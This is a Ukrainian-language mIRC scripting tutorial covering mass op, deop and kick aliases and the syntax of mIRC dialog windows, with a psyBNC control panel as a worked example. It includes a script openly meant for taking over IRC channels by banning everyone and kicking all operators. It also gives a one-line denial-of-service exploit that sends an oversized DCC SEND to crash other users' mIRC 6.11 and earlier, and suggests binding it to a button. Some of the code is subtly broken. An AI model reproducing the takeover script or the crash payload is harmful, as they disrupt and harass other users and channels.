У цій статті розповім про деякі корисні скрипти і найголовніше про діалогові вікна та їх скриптовой двиг.

Почнемо зі скрипта Mass(op,hop,voice).

Пишемо в альясах:

massop {

if ($me !isop #) { /echo 5 Ти не оператор каналу. }

else {

/echo 5 Виробляю мас. ВП (+o) на каналі # $+ …

set %i 1

:next

set %nick $nick(#,%i)

if (%nick == $null) goto done

if (%nick !isop #) { mode # +o %nick }

inc %i

goto next

:done

} }

В попередній статті я наочно пояснював структуру такого скрипта.
Все як зазвичай. Спочатку даємо нашому скрипту ідентифікатор massop, потім перевіряємо наявність у нас прав опа, при зворотному умови починає виконуватися функція перевірки всіх і кожного на наявність опа. Якщо опа немає у ніка, то він його отримує командою mode # +o %nick.

Для массхопа і массвойса потрібно просто замінити id і 9 рядок на:

if (%nick !(ishop or isvoice) #) { mode # +(h or v) %nick }

Тепер для виклику скрипта просто додаємо в popups куди вам буде завгодно рядок

Мас. ВП:massop

Для масового де(опа, хопу, войса) потрібно написати такий скрипт:

massdeop {

if ($me !isop #) { /echo 5 Ти не оператор каналу. }

else {

/echo 5 Виробляю мас. ДеОП (-o) на каналі # $+ …

set %i 1

:next

set %nick $nick(#,%i)

if (%nick == $null) goto done

if (%nick isop #) && (%nick != $me) { mode # -o %nick }

inc %i

goto next

:done

} }

Тут тільки зворотне умова перевірки ників. Спочатку встановлюємо належить нік до опам і чи не є цей нік $me (ну щоб себе не деопнуть), а потім відбираємо командою mode # -o %nick. Знову прописуємо команду в popups і все готово.

Тепер можна зробити масскик, але тільки ввів і хоперів (для захоплення каналу наприклад, без випадкових жертв):

masskick {

if ($me !isop #) { /echo 5 Ти не оператор каналу. }

else {

/echo 5 Виробляю мас. кік ввів і хоперів з каналу # $+ …

set %i 1

:next

set %nick $nick(#,%i)

if (%nick == $null) goto done

if (%nick! $me) && (%nick isop #) || (%nick ishop #) { kick # %nick [MK] }

inc %i

goto next

:done

} }

Тут лише ненабагато більше умов (нік не $me і нік — op або hop).

Ну а тепер можна зробити в альясах ось таку функцію:

exchange {

if ($opnick(#,0) $iif($$input(Провести захоплення каналу. $crlf $+ Ти впевнений?,8, Захоплення каналу.),continue,return)

/echo 5 Виробляю захоплення каналу # $+. | mode # +b *!*@* | mode # +ilk 1 TaOv[ $+ $rand(1,9) $+ ] | masskick

}

Спочатку перевіряємо, чи є взагалі на каналі досвіду і якщо немає, то halt (завершуємо). Інакше ж створюємо вікно з питанням «добре подумав?» з кнопками продовжити і зупинити. Ми натискаємо вперед звичайно ж )
Першим ділом на канал треба поставити всі прапори (інвайт, ключ, ліміт 1 ), щоб після кіка не можна було зайти на канал. Потім ініціалізуємо функцію masskick, яку заздалегідь прописали )

І нарешті в меню popups додаємо опцію:

Захоплення каналу: exchange

Ну і сплоіт проти Mirc 6.11 і нижче… вбиває 100%.

//raw privmsg NICK :DCC SEND «x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x» 0 0 0

Для зручності пропишіть до кнопки при впливі на чийсь нік.

Ну а тепер розберемо (як я і обіцяв) створення і скриптовой двиг діалогових вікон. Все пов’язане з ними потрібно складати під грифом [script]

Спочатку розберемося з візуальним виглядом. Для зручності абсолютно всім раджу скачати gst.void.ru/files/dstudio.rar За допомогою цієї програми ви легко створите візуально будь-який діалог. Для початку створимо найпростіше. Відкриваємо програму, вибираємо в меню зліва кнопку button і додаємо її на вікно нашого New Project. Додайте ще три і розташуйте на ваш розсуд. Можете змінити розмір проектованого вікна теж. Не забувайте, що в будь-якому діалозі ще повинна бути кнопка з параметром Tipe — OK, щоб можна було закрити вікно. Як завершите натисніть Tools –> View Dialog Code. Копіюйте його і вставляєте або у файл зі скриптами, або через мирк editor… Нехай для прикладу ось така структура:

dialog First {

title «New Project»

size -1 -1 95 53

option dbu

button «Masskick», 1, 5 3 37 12

button «MassDeop», 2, 5 21 37 12

button «MassOp», 3, 51 3 37 12

button «Захоплення», 4, 51 21 37 12

button «OK», 5, 27 39 37 12, ok

}

А тепер найголовніше. Пропишемо нашому діалогового вікна скриптовую основу.

on 1:dialog:First:edit,sclick:*: {

if ($did == 1) { masskick }

if ($did == 2) { massdeop }

if ($did == 3) { massop }

if ($did == 4) { exchange }

}

Тобто при впливі на кнопку зі спец. її id виконується потрібна нам команда.І тепер додайте в ваш popup меню таку команду:

Відкрити меню:/dialog -nm First First

Всі елементи діалогового меню мають структуру:

item «Label», id [ координати ]

Де item може бути кнопка, текстове поле і т. д. Id — унікальний ідентифікатор для подальшого використання його в скриптовой основі.

Структура скипта має каркас:

on 1:dialog:name:event:id: {

if ($did = ) { функція }

}

name ім’я вікна, id ідентифікатор елемента управління, event може бути:

init — перед відкриттям вікна значення елементів управління можуть бути проинициализированы. id =0.

close — закриття вікна.

edit — змінено тест в редакторі або стан combo box.

sclick — одиночний клік на list/combo box, поставлена або знята відмітка на radio/check або натиснута кнопка.

dclick — подвійний клік на list/combo box.

menu — обраний елемент меню.

scroll — позиція елемента scroll змінена.

Також ви можете визначати mouse events:

mouse — переміщення миші

sclick — ліва кнопка натиснута

uclick — ліва кнопка віджата

dclick — подвійний клік

rclick — клік на правій кнопці

drop — drop click

Тепер наведу повністю працездатний і хороший приклад реалізації мікро контролю над BNC за допомогою діалогових вікон. Так сказати це я намутил після 3 годин експерименту =) Потім ми його розглянемо.
Спочатку візуально:

dialog psyBNC {

title «PsyBNC Control»

size -1 -1 156 139

option dbu

tab «PsyBNC», 1, 2 1 153 120

box «Connect to psyBNC», 2, 5 17 146 102, tab 1

text «Сервер:», 3, 8 28 25 8, tab 1

edit “”, 4, 29 27 71 9, tab 1

edit “”, 5, 122 27 26 9, tab 1

text «Порт:», 6, 107 28 15 8, tab 1

edit “”, 9, 29 40 52 9, tab 1 pass

text «Пароль:», 10, 8 41 22 8, tab 1

text «Ident:», 11, 88 41 15 8, tab 1

edit “”, 12, 104 40 44 9, tab 1

button «Запам’ятати», 13, 35 54 37 11, tab 1

button «Підключитися», 14, 12 68 60 11, tab 1

button «Видалити», 15, 83 54 37 11, tab 1

button «Ідентифікація», 16, 83 68 60 11, tab 1

tab «Connect», 17

button «Додати сервер», 18, 99 29 52 10, tab 17

box «Servers to connect from PsyBNC», 19, 3 17 151 52, tab 17

edit “”, 20, 30 30 67 9, tab 17

edit “”, 21, 30 43 67 9, tab 17

button «Вилучити сервер», 22, 99 43 52 10, tab 17

button «Список серверів », 23, 50 55 50 12, tab 17

box «Proxy», 24, 3 68 149 37, tab 17

edit “”, 25, 34 78 75 9, tab 17

button «Додати», 26, 112 78 37 10, tab 17

edit “”, 27, 34 92 75 9, tab 17

button «Видалити», 28, 112 92 37 10, tab 17

text «1 or mask», 29, 6 93 28 8, tab 17

text «IP:Port», 30, 6 79 25 8, tab 17

text «Host:Port», 31, 5 31 24 8, tab 17

text «1 or mask», 32, 5 44 24 8, tab 17

button «JUMP», 33, 15 108 41 11, tab 17

button «BQUIT», 34, 60 108 40 11, tab 17

button «BCONNECT», 35, 102 108 42 11, tab 17

tab «Commands», 36

box «Toolz», 37, 4 17 150 99, tab 36

button «PLAYPRIVATELOG», 38, 7 42 52 12, tab 36

text “- Дивитися приватні логи.”, 39, 62 44 92 8, tab 36

button «ERASEPRIVATELOG», 40, 7 58 52 12, tab 36

text “- Очистити всі приватні логи.”, 41, 62 61 85 8, tab 36

button «Включити», 42, 7 77 37 12, tab 36

button «Відключити», 43, 48 77 37 12, tab 36

text «перезаходити при викиданні.», 44, 87 80 65 8, tab 36

edit “”, 45, 47 97 50 10, tab 36

button «Add », 46, 7 96 37 12, tab 36

text “- Virtual Host.”, 47, 102 99 42 8, tab 36

tab «You», 48

edit “”, 49, 33 28 50 10, tab 48 pass

button «SET», 50, 4 27 26 12, tab 48

text «New Pass.», 51, 86 29 41 8, tab 48

box «Options You», 52, 2 16 153 104, tab 48

button «SET», 53, 4 45 26 12, tab 48

text «New User Name.», 54, 86 47 49 8, tab 48

edit “”, 55, 33 46 50 10, tab 48

button «SET», 56, 4 63 26 12, tab 48

edit “”, 57, 33 64 50 10, tab 48

text «Away Nick when you off.», 58, 86 65 68 8, tab 48

button «SET», 59, 4 82 26 12, tab 48

edit “”, 60, 33 82 50 10, tab 48

text «away-Text when you leave», 61, 86 84 67 8, tab 48

button «SET», 62, 4 101 26 12, tab 48

edit “”, 63, 33 102 50 10, tab 48

text «Leave-MSG when you leave», 64, 85 103 67 8, tab 48

tab «Admin», 65

button «BREHASH», 66, 4 106 37 12, tab 65

text «Rehashes the proxy, resets all Connections.», 67, 43 108 108 8, tab 65

button «Add», 68, 82 28 32 12, tab 65

edit “”, 69, 33 23 46 10, tab 65

text «Login:», 70, 16 24 16 8, tab 65

text «UserName:», 71, 4 36 28 8, tab 65

edit “”, 72, 33 35 46 10, tab 65

button «Del», 73, 118 28 32 12, tab 65

box «Users», 74, 3 17 151 29, tab 65

text «список користувачів цього BNC.», 75, 43 95 105 8, tab 65

box «Admins», 76, 3 46 151 21, tab 65

edit “”, 77, 32 54 47 10, tab 65

text «Login:», 78, 16 55 16 8, tab 65

button «Add», 79, 82 53 32 12, tab 65

button «Del», 80, 118 53 32 12, tab 65

button «Дивитися », 81, 4 93 37 11, tab 65

box «Kill», 82, 3 68 151 24, tab 65

button «Kick», 83, 8 77 33 12, tab 65

edit “”, 84, 54 78 50 10, tab 65

text from psyBNC.», 85, 107 79 43 8, tab 65

text «user», 86, 43 79 13 8, tab 65

button «OK», 87, 17 125 37 12, ok

button «Cancel», 88, 62 125 37 12, cancel

button «Help», 89, 104 125 37 12

}

А тепер движок:

on 1:dialog:psyBNC:edit,sclick:*: {

if ($did == 13) { set %psyserver $did(4) | set %psyport $did(5) | set %psypass $did(9) | set %psyident $did(12) }

if ($did == 14) { /server %psyserver %psyport }

if ($did == 15) { unset %psyserver | unset %psyport | unset %psypass | unset %psyident }

if ($did == 15) { unset %psyserver | unset %psyport | unset %psypass | unset %psyident }

if ($did == 16) { /pass %psypass }

if ($did == 89) { /query -psyBNC bhelp }

if ($did == 18) { /query -psyBNC addserver $did(20) }

if ($did == 22) { /query -psyBNC delserver $did(21) }

if ($did == 23) { /query -psyBNC LISTSERVERS }

if ($did == 26) { /query -psyBNC PROXY $did(25) }

if ($did == 28) { /query -psyBNC PROXY del $did(27) }

if ($did == 33) { /query -psyBNC JUMP }

if ($did == 34) { /query -psyBNC PROXY BQUIT }

if ($did == 35) { /query -psyBNC PROXY BCONNECT }

if ($did == 38) { /query -psyBNC PLAYPRIVATELOG }

if ($did == 40) { /query -psyBNC ERASEPRIVATELOG }

if ($did == 42) { /query -psyBNC AUTOREJOIN 1 }

if ($did == 43) { /query -psyBNC AUTOREJOIN 0 }

if ($did == 46) { /query -psyBNC BVHOST $did(45) }

if ($did == 50) { /query -psyBNC PASSWORD $did(49) }

if ($did == 53) { /query -psyBNC SETUSERNAME $did(55) }

if ($did == 56) { /query -psyBNC SETAWAYNICK $did(57) }

if ($did == 59) { /query -psyBNC SETAWAY $did(60) }

if ($did == 62) { /query -psyBNC SETLEAVEMSG $did(63) }

if ($did == 68) { /query -psyBNC ADDUSER $did(69) $did(72) }

if ($did == 73) { /query -psyBNC DELUSER $did(69) }

if ($did == 79) { /query -psyBNC MADMIN $did(77) }

if ($did == 80) { /query -psyBNC UNADMIN $did(77) }

if ($did == 83) { /query -psyBNC BKILL $did(84) }

if ($did == 81) { /query -psyBNC BWHO }

if ($did == 80) { /query -psyBNC BREHASH }

}

Тепер можна прописати активацію цього вікна через кнопку:

PsyBNC

Налаштування: dialog -nm psyBNC psyBNC

Але для повної картини можна зробити так, щоб при відкритті вікна в наші текстові поля edit ініціалізувалися значення збережених нами змінних %psyident, %psyserver, %psyport, %psypass.

Прописуємо, але вже в альясах:

showpsy {

if ( %psyserver != null) { did -a psyBNC 4 %psyserver }

if ( %psyport != null) { did -a psyBNC 5 %psyport }

if ( %psypass != null) { did -a psyBNC 9 %psypass }

if ( %psyident != null) { did -a psyBNC 12 %psyident }

}

І змінюємо в простому popups меню:

PsyBNC

Налаштування: dialog -nm psyBNC psyBNC | showpsy

Про $did(). Ця команда викликає значення з якогось поля у нашому вікні за його id. Має все це структуру — $did(name,id,N). Тобто якщо в текстовому полі з id = 45 ми напишемо «Test» і до якої небудь кнопці зробимо функцію з передачею тексту з нашого edit поля /команда $did(45), то при натисканні на кнопку вийде /команда Test.

Команда did -a psyBNC 12 %psyident каже наступне — у вікно з назвою psyBNC у текстове поле id 12 передати значення змінної %psyident. Структура така:

/did -ftebvhnmcukradiogj name id [n] [текст | %мінлива ]

name — це ідентифікатор діалогового вікна, id — це номер елемента.

Ось існуючі прапори для передачі даних в dialog table:

-f встановити фокус на елемент управління [id]

-t встановити кнопку за замовчуванням

-e дозволити елемент управління [id]

-b заборонити елемент управління [id]

-v зробити видимим елемент управління [id]

-h заховати елемент управління [id]

-n дозволити елемент editbox

-m заборонити елемент editbox

-c відзначити checkbox/radiobutton, рядок list/combo

-u зняти позначку checkbox/radiobutton, з рядка list/combo

-k не змінювати існуючих відміток в listbox (працює разом з cu)

-r очистити текст в елементі управління [id]

-a додати текст до кінця рядка

-d видалити N-ую рядок

-i вставити N-ую рядок

-o перезаписати N-ую рядок

-g встановити нову іконку/зображення icon control

-z скинути ширину горизонтального scrollbar в елементі listbox

-j скинути зміни в елементі editbox

Для більш наочного прикладу реалізації передачі можна зробити наступне…

dialog Test123 {

title «Test»

size -1 -1 154 67

option dbu

edit “”, 1, 43 14 66 10

edit “”, 2, 43 36 66 10

button «Скинути на 2», 3, 110 13 40 12

button «Скинути на 1», 4, 110 35 40 12

button «Очистити 1», 5, 5 13 37 12

button «Очистити 2», 6, 5 35 37 12

button «OK», 7, 29 51 37 12, ok

button «Cancel», 8, 82 51 37 12, cancel

box «Test», 9, 1 1 152 60

text«1», 10, 74 7 25 7

text«2», 11, 74 28 25 7

}

on 1:dialog:Test123:edit,sclick:*: {

if ($did == 3) { did -a Test123 2 $did(1) }

if ($did == 4) { did -a Test123 1 $did(2) }

if ($did == 5) { did -r Test123 1 }

if ($did == 6) { did -r Test123 2 }

}

Вбиваємо в командний рядок мірка /dialog -nm Test123 Test123 і дивимося результат.

Підводячи підсумки, можна сказати що за допомогою діалогових вікон можна неймовірно автоматизувати, поліпшити можливості і зручність мірка.
Все залежить тільки від вашої ерудиції і винахідливості. Програмних ж обмежень немає =)

Удачі на вашому шляху мирк скриптолога 8) За усіма новими питаннями або за допомогою мирк звертайтеся безпосередньо до мене через irc server: irc.icqinfo.ru; канал: #hackzona or #gst; або в icq 618610.

X-Script by me — gst.void.ru/files/X-Script.rar